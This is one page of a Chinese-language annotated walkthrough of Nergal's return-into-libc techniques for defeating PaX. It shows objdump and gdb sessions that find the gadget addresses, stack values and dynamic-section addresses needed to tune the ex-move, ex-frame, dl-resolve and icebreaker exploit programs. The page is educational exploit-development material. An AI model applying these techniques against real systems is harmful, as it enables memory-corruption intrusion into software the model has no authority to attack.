|
编程序vuln.omit中ret部分) ...省略一些无关输出 -- 80484be: 83 c4 2c add $0x2c,%esp ~~~~~~~~(这是出栈前,add指令中的栈指针地址) ~~~~~~(POPNUM的数值) 80484c1: c3 ret ~~~~~~~~~("ret"指令的地址) -- 80484fe: 5d pop %ebp 80484ff: c3 ret -- ...省略一些无关输出
5) FRAMES 现在我们要找出,在堆栈溢出发生后,堆栈指针的数值。我们要做的事情是让有缺陷的程序vuln.omit发生段错误(core dumped),通过产生的core文件调试该缺陷程序,以获得FRAMES的预定义数值。我们的exploit代码ex-move.c中的参数"testing"将0x5060708保存在指令指针中,我们只需要这样做: [nergal@behemoth pax]$ ./ex-move testing Segmentation fault (core dumped) <------------- 发生了溢出,进行下一步gbd [nergal@behemoth pax]$ gdb ./vuln.omit core (no debugging symbols found)... Core was generated by ./vuln.omit''''. Program terminated with signal 11, Segmentation fault. #0 0x5060708 in ?? () ~~~~~~~~~(和ex-move的指令指针数值一样,如果该数值大于了0x5060708,意味着需要调整堆栈,同时exploit代码ex-move.c中定义结构体ov中的数组"scratch"需要做一定的调整。) (gdb) info regi(*显示寄存器中的数值) ... esp 0xbffffde0 0xbffffde0 ~~~~~~~~~~(堆栈指针数值:这就是我们要找的FEAMES数值) ... 经过一番曲折,总算完成了exploit代码ex-move.c中的预定义。 现在来看攻击没有使用最优化选项编译的缺陷程序的exploit代码:ex-frame.c
II. ex-frame.c ~~~~~~~~~~~~~~ 哇靠,还要做调整阿,废话:)LIBC, STRCPY, MMAP, LEAVERET 和FRAMES需要适当调整,和ex-move.c中方法差不多,LIBC,STRCPY, MMAP 以及 FRAMES也是这样。 LEAVERET的地址是"leave; ret"指令序列的地址。找它的方法和前面一样,同样使用objdump --disassemble 命令。 [nergal@behemoth pax]$ objdump --disassemble vuln|grep leave -A 1 objdump: vuln: no symbols 8048335: c9 leave 8048336: c3 ret -- 80484bd: c9 leave ~~~~~~~(由3.3节帧伪造可以知道第2帧的leave地址是我们需要的) 80484be: c3 ret -- 8048518: c9 leave 8048519: c3 ret
III. dl-resolve.c ~~~~~~~~~~~~~~~~~ 需要对代码中预定义的STRTAB, SYMTAB, JMPREL, VERSYM 和PLT_SECTION常数数值进行调整 由于dl-resolve.c2进制本身关系 ,需要进行两次编译。第一次编译,我们只需#define dummy 值。然后打入下面命令: [nergal@behemoth pax]$ objdump -x dl-resolve 输出下面的信息(动态符号表、串表,重定位入口,etc): [...无关信息...] 动态段区域: NEEDED libc.so.6 INIT 0x804839c FINI 0x80486ec HASH 0x8048128 STRTAB 0x8048240 (得到串表STRTAB地址) SYMTAB 0x8048170 (得到符号表SYMTAB地址) STRSZ 0xa1 SYMENT 0x10 DEBUG 0x0 PLTGOT 0x80497a8 PLTRELSZ 0x48 PLTREL 0x11 JMPREL 0x8048354 (得到JMPREL地址,和PLT地址有关联) REL 0x8048344 RELSZ 0x10 RELENT 0x8 VERNEED 0x8048314 VERNEEDNUM 0x1 VERSYM 0x80482f8 (得到VERSYM符号版本地址)
"objdump -x"命令输出过程连接表(PLT)段区域 [...无关信息...] 段区域: 索引名称 Size VMA LMA File off Algn 0 .interp中断段 00000013 080480f4 080480f4 000000f4 2**0 ... 11 .plt过程连接表段 000000a0 080483cc 080483cc 000003cc 2**2 ~~~~|~~~~~~~~~~~~~~ --该地址为plt入口地址,得到预定义PLT_SECTION数值 CONTENTS, ALLOC, LOAD, READONLY, CODE 再次编译代码dl-resolve.c ,最后我们可以看到象下面: old_mmap(0xaa011000, 16846848, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0x1011000) = 0xaa011000 _exit(123) = ? 这样,mmap()被调用,虽然它不在dl-resolve.c的PLT入口。当然我们可以增加到shellcode中执行,但是没有多大必要对只是证明该理论而编写。
IV. icebreaker.c ~~~~~~~~~~~~~~~~ 9个预定义需要被调整,两个固定:FRAMESINDATA 和 VIND. 1) FRAMESINDATA 这是定位或者从内存中划分伪造帧拷贝的静态变量,在pax.c,我们需要找到"bigbuf"数组的地址,如果被攻击的2进制文件没有被脱壳,那么很容易得到该地址,反之,我们必须分析反汇编的输出,在pax.c中13行,"bigbuf"变量在"strncat"函数的参数中出现,如下: strncat(bigbuf, ptr, sizeof(bigbuf)-1); 那么,我们需要找到strncat函数地址: [nergal@behemoth pax]$ objdump -T pax | grep strncat 0804836c DF *UND* 0000009e GLIBC_2.0 strncat ~~~~~~~~(strncat 函数地址) [nergal@behemoth pax]$ objdump -d pax|grep 804836c -B 3 <- _not_ 0804836c(*反汇编pax,通过strncat地址,找到bigbuf的地址) objdump: pax: no symbols 8048362: ff 25 c8 95 04 08 jmp *0x80495c8 8048368: 00 00 add %al,(%eax) &n 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] ... 下一页 >> [办公软件]在sybase中插入图片、PDF、文本文件 [办公软件]安装Sybase ASE [办公软件]linux指令大全(完整篇) [办公软件]Linux新手入门常用命令大全 [办公软件]在RedHat Linux 9里安装gaim0.80 [办公软件]浅谈Linux 下Java 1.5 汉字方块问题解决方法 [办公软件]Linux程序员必读:中文化与GB18030标准 [办公软件]linux指令大全 [办公软件]制作Linux启动盘的四种方法 [办公软件]Linux文件系统的反删除方法
|